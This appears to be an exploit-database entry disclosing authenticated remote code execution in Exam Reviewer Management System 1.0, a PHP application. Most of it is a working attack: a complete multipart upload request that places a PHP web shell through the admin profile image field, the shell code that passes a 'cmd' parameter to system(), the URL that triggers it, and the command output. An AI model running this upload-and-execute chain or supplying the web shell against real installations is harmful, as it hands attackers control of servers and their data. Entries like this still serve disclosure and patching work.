Registerexam reviewer management system 1.0 remote code execution (rce) (authenticated)
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# Exploit Title: Exam Reviewer Management System 1.0 - Remote Code Execution (RCE) (Authenticated) # Date: 2022-02-08 # Exploit Author: Juli Agarwal(@agarwaljuli) # Vendor Homepage: https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code # Version: 1.0 # Tested on: XAMPP, Kali Linux Description – The application suffers from a remote code execution in the admin panel. An authenticated attacker can upload a web-shell php file in profile page to achieve remote code execution. POC:- ========== # Request: ========== POST /erms/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------37791356766765055891341961306 Content-Length: 1004 Origin: http://localhost Connection: close Referer: http://localhost/erms/admin/?page=user Cookie: PHPSESSID=22f0bd65ef694041af3177057e7fbd5a -----------------------------37791356766765055891341961306 Content-Disposition: form-data; name="id" 1 -----------------------------37791356766765055891341961306 Content-Disposition: form-data; name="firstname" Adminstrator -----------------------------37791356766765055891341961306 Content-Disposition: form-data; name="lastname" Admin -----------------------------37791356766765055891341961306 Content-Disposition: form-data; name="username" admin -----------------------------37791356766765055891341961306 Content-Disposition: form-data; name="password" -----------------------------37791356766765055891341961306 Content-Disposition: form-data; name="img"; filename="shell.php" Content-Type: application/x-php <html> <body> <b>Remote code execution: </b><br><pre> <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> </pre> </body> </html> -----------------------------37791356766765055891341961306— ================ # Webshell access: ================ # Webshell access via: POC: http://localhost/erms/uploads/1644334740_shell.php?cmd=id # Webshell response: Remote code execution: uid=1(daemon) gid=1(daemon) groups=1(daemon)
Exam reviewer management system 1.0 remote code execution (rce) (authenticated) Vulnerability / Exploit Source : Exam reviewer management system 1.0 remote code execution (rce) (authenticated)
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